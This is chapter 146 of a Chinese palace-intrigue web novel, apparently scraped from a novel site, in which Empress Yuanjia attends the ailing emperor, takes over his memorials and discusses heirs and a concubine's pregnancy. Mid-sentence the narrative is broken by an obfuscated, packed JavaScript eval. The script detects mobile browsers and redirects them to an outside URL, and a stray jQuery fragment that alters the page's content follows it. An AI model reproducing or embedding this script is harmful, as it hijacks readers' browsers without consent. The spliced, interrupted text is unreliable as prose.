146. 假作假

作品:《君妇升职手札

    又两日,宣政殿传出了燕景祁罢朝的消息,而后清宁宫迎来了苦着一张脸的申时安。


    “稀客呀!”


    元嘉打趣道:“申内官不在陛下身边服侍,怎得空来予这清宁宫了?”


    申时安闻声停在几步开外的地方,先向元嘉行礼请安,又朝着旁侧握笔习字的燕明昱同样一躬身,余光却迅速从前者身上掠过,眼底带着三分隐晦的确认。


    “女君折煞奴才了,实则是陛下的老毛病又犯了,这才命了奴才过来,想着请您去紫宸殿陪上一陪呢!”


    申时安直起身,面色已如常。


    “可宣了太医来看了?”


    元嘉立刻站了起来,脸上显出几分真假难辨的焦急,“红玉!去把奶母找来,让她先带着大皇子回去……阿昱,今日的字就先练到这里,娘亲要离开一会儿,之后就让奶母和徐妈妈陪着你,好不好?”


    说着又侧过身,抬手抚上燕明昱蓬松的发顶,正好挡去男孩儿听到话后稍显茫然的眼神。背对着申时安,元嘉极轻微地朝燕明昱一摇头,口中继续道:“若实在等得无聊,就让徐妈妈把前次未读完的书翻出来,再念给你听,好不好?”


    “好……”


    燕明昱下意识道。


    “女君快些去紫宸殿吧,咱们都在这儿陪着大皇子呢,您就放心吧!”


    一旁的徐妈妈适时上前,牵过燕明昱的手,又不动声色地与站在面前的元嘉交换了视线,而后开口道。


    元嘉嗯了一声,转身看向申时安,“申内官,咱们这就走吧。”


    前者立刻应声,又随在元嘉身侧,与逢春一道陪着前者往殿外走去。


    也不知作何想,一路上不时与元嘉说着话,大半都围绕在燕明昱身上——


    “奴才还总觉得大皇子是个孩子呢,今日见他跟在您身边握笔习字的模样,竟陡然生出几分不习惯来。若是陛下见了,只怕也会有许多为人父的感慨的。”


    申时安看向步辇上的元嘉,如是道。


    “早过了咿呀学语的年纪了,哪能一日日的只做个懵懂无知的孩童呢。”


    元嘉笑了笑,“陛下三岁上便启蒙了,予却因为舍不得,一直纵着那孩子到如今……可哪里好一直纵着,天下的担子都压在他父亲身上,他这个做儿子的,也得担起自己的那份责任才行。予虽是他的母亲,可也不能一直替他撑着,总得让他自己长成才行。”


    “女君用心良苦,陛下若知道了,定也会觉得欣慰的。”


    申时安不知想到了什么,声音愈发的恭敬。


    “予能做的也就这些了,只盼着能稍稍为陛下分一些忧,如此也便知足了。”


    余光不着痕迹地从申时安脸上收回,元嘉的眼底掠过一丝极浅的笑意,话音里是不改的温和。


    申时安笑道:“女君的心意,陛下从来都是知道的。”


    “申内官侍奉陛下多年,你说的话,予听了可是要当真的。”


    元嘉垂目睨了人一眼,又半真半假地打趣起来。


    申时安却没有再接话,只笑着与元嘉讨饶两句,其后再不言语,一行人就这样到了紫宸殿。


    ……


    元嘉一个人走进殿内,目光随着移动的脚步,从临窗的摆件一路扫到书案上摊放的奏章──她有段日子没来了,可对于殿内的每一处陈设、燕景祁习惯性搁放书册和奏章的位置仍旧了然于胸。


    轻车熟路地绕过屏风,元嘉垂目停在燕景祁跟前,对男人倚在榻上不言不语的模样视若无睹,只道:“陛下万安。”


    站在原地稍等了等,耳边却迟迟没有响起男人的应答,元嘉仍不抬眼,只不紧不慢地又重复了一次。


    “……何时与我这般生疏了?”


    终于,燕景祁开了口,带着几分难以察觉的微哑。


    “从前是三郎体恤,可我也得守规矩才是。若哪日被纵的失了分寸,岂不就辜负了三郎的这份心意?”


    元嘉这才弯起眉眼,驾轻就熟地走到燕景祁身边坐下,又抬手在男人的两鬓间不轻不重地按压起来。


    “连嘉娘都明白如何能叫我舒心,太医署出来的却尽是些废物,当真是白养他们一场了。”


    燕景祁眉心微松,脸色随着元嘉的动作渐有缓和,但语气仍有些不好。


    “人不好用,换了就是,三郎何苦要与自己的身子过不去。”元嘉温声道,“还是先让他们重新给三郎熬制补药,且先缓了三郎的不适才好。”


    “……他们?”


    燕景祁嗤笑一声,“熟知各类药材的习性,是对学医之人再粗浅不过的要求,他们却在这上头犯了错,我还能指望他们什么,留在我的身边,将我越治越病吗?”


    “三郎说什么呢!”


    元嘉动作微顿,很快又恢复如常,“这样咒自己的话,三郎万不要再说了。今次只是在药膳上出了少许的岔子,且也是因为尚食局送来的食材相混才惹出来的,过后不也召其他人来看过了么,若是分开服用,或间隔得久些食用,都是没有问题的,只是个意外,至多是过手的人疏忽大意了……三郎之前喝的补药也都是妥当的呀。”


    “……喝了也无用,又有什么好喝的。”


    燕景祁眼睑半阖,仍不曾全然松口。


    元嘉便也一笑,嗔怪般道:“等三郎多疼上两日,便知道厉害了。生病之人,哪里能不吃药呢,我这些年不也听着太医的叮嘱,一日药都没有停么,如今不总算康健无虞了?”


    “是么……可我怎么觉得,他们还是些废物。”


    燕景祁眼也不抬,“阿昱如今都几岁了,你的身子却还是没有彻底好转。这么些年过去,你我膝下仍只有阿昱这一个孩子,可见是太医署的人无用,治不好我的头疾,也养不好你的身子。”


    闻言,元嘉蓦地想起章有为当年的话,心知问题大半还是出在自己身上,便也只是道:“当年生产之时太过凶险,我能平安与三郎有一个阿昱,已是知足了,哪里还敢奢求更多。且如今宫中嫔妃也不少,她们若能为三郎生下个一儿半女,那也是我的孩子,我同样会视如己出,是不是从我肚子里出来的,又有什么要紧的呢?”


    “宫里的孩子,还是少了些。”燕景祁发出一声叹息“先帝在世时,便被说起过子嗣不丰,可当时也有四子五女,后来虽去了个万春皇姊,那也还有八个呢。我登基几载,到如今却只有三女一子,看来是比先帝还要不如。”


    元嘉不免一笑,“先帝在位二十余载,其后又有近十载缠绵病榻,子女稀少些也属常事。三郎春秋正盛,又才登基几载,往后的日子还长着呢,哪里会缺皇子和公主,金宝林如今不正怀着三郎的第五个孩子吗?”


    “是男是女尚未可知,生不生的下来也还两说呢。”


    燕景祁提起自己这个还未出世的孩子,语气中倒听不出多少重视,更隐隐有些不耐烦,“你已经发了话叫她静养,偏她前段日子又在自己宫里闹了一场,说是不小心跌了跤,惊动了胎气,还让宫女往紫宸殿来了一趟,想请我看在腹中皇嗣的份上,去瞧瞧她……啧,我又不是太医,去瞧她一眼又


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376020|154513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能如何呢?既知道自己怀的是皇嗣,一切便该小心为上,如此恣意妄为,当真辜负了母后对她的一番心意,你的责罚,想也被她抛诸脑后了。”


    “女人家十月怀胎,辛苦着呢,孕中莽撞也是有的。想是身边服侍的人还不够多、不够仔细,这才让金宝林做了些不合分寸的事情。”元嘉笑意不减,“等回去了,我便从内侍省和掖庭里再拨些人过去,先好生把人看顾着,等孩子平安落了地,再说其他的。”


    顿了顿,又道:“嫔妃们近来陪伴在三郎身边的次数也不少,或许很快便能听见哪座宫室里传来好消息了呢。最好能再给阿昱添一个兄弟,日后玩耍时还能多个伴呢!”


    “宫里只阿昱一个男孩儿,不好吗?”


    燕景祁睁眼问道。


    “若论私心,自然是好。”


    元嘉同样垂目回视,“可我不止是阿昱的母亲,更是您的皇后、大周的国母,所以我也盼着宫中子嗣兴旺,三郎万岁永安。”


    燕景祁眼底多了些莫名的笑意,抬手抚上元嘉脸颊,指尖不经意间扫过前者眼尾,“嘉娘今日竟如此坦诚?”


    “不想与三郎再有欺瞒生疏,所以坦诚。”


    元嘉微微偏头,又将自己的左脸与燕景祁的手掌贴得更近,一副任由男人掌控的姿态。


    燕景祁应当是喜欢的。


    她想。


    因为她听到了男人堪称愉悦的笑声,和停在她脸颊上愈发轻柔的抚弄。


    “如此,书桌上的那些奏章,就有劳嘉娘替我批阅了吧。”


    少顷,燕景祁撤回手,如是道。


    “好,我这就去把奏章取来,替三郎口念,再把三郎说的话录记下来。”


    元嘉却换了个说法,而后起身欲离。


    燕景祁反手把人拉住,“我说的是,你替我把它们批阅了。”


    分明在冬日,肌肤相触间,元嘉仍感受到了男人掌心里湿濡的汗意——看来这人的头疾此刻正肆虐得厉害,却还是能克制着与她说这样久的话,思绪亦不见混乱,还真是厉害。


    虽这样想,元嘉面上却一切如常,只道了声是,又示意般晃了晃手腕,“可我还是要先将奏章拿过来的,若遇上不懂不会的,才好叫三郎指点迷津哪。”


    “……嘉娘也不是第一次做这些了,何必谦虚,”燕景祁顺从般松了力道,“你且看着,若有思而不决的,再来问我便是。”


    元嘉在心底暗道一声果然,却仍笑着称是,转身的一瞬间,听见男人又一次开口道——


    “我已知会了大臣们,这几日就在紫宸殿议事。你明日早些过来,陪在我的身边,就像之前做的那样,等我好上一些了再回去。”


    “是。”


    元嘉背对着燕景祁,嘴角却一点点上扬。


    ……


    一直到晚膳时分,元嘉才从紫宸殿离开。


    “如何?”


    元嘉一面搅弄着碗里的羹饭,一面问起徐妈妈和逢春情况来。


    “大皇子那里好说话的很呢,只问以后是不是只要念书习字,就可以让您多陪在他的身边,得了准信后高兴的厉害,也就忘了白日里发生的事情了。”


    徐妈妈先道。


    “奴婢也瞧见您出来之后,申内官便紧跟着进殿去了,到咱们坐上辇离开,都没有出来呢。”


    逢春也道。


    “是么,也算是没白辛苦了……”


    元嘉发出一声意味不明的轻叹,其后再不多说什么,只将汤匙换成筷箸,又一点点用起晚膳来。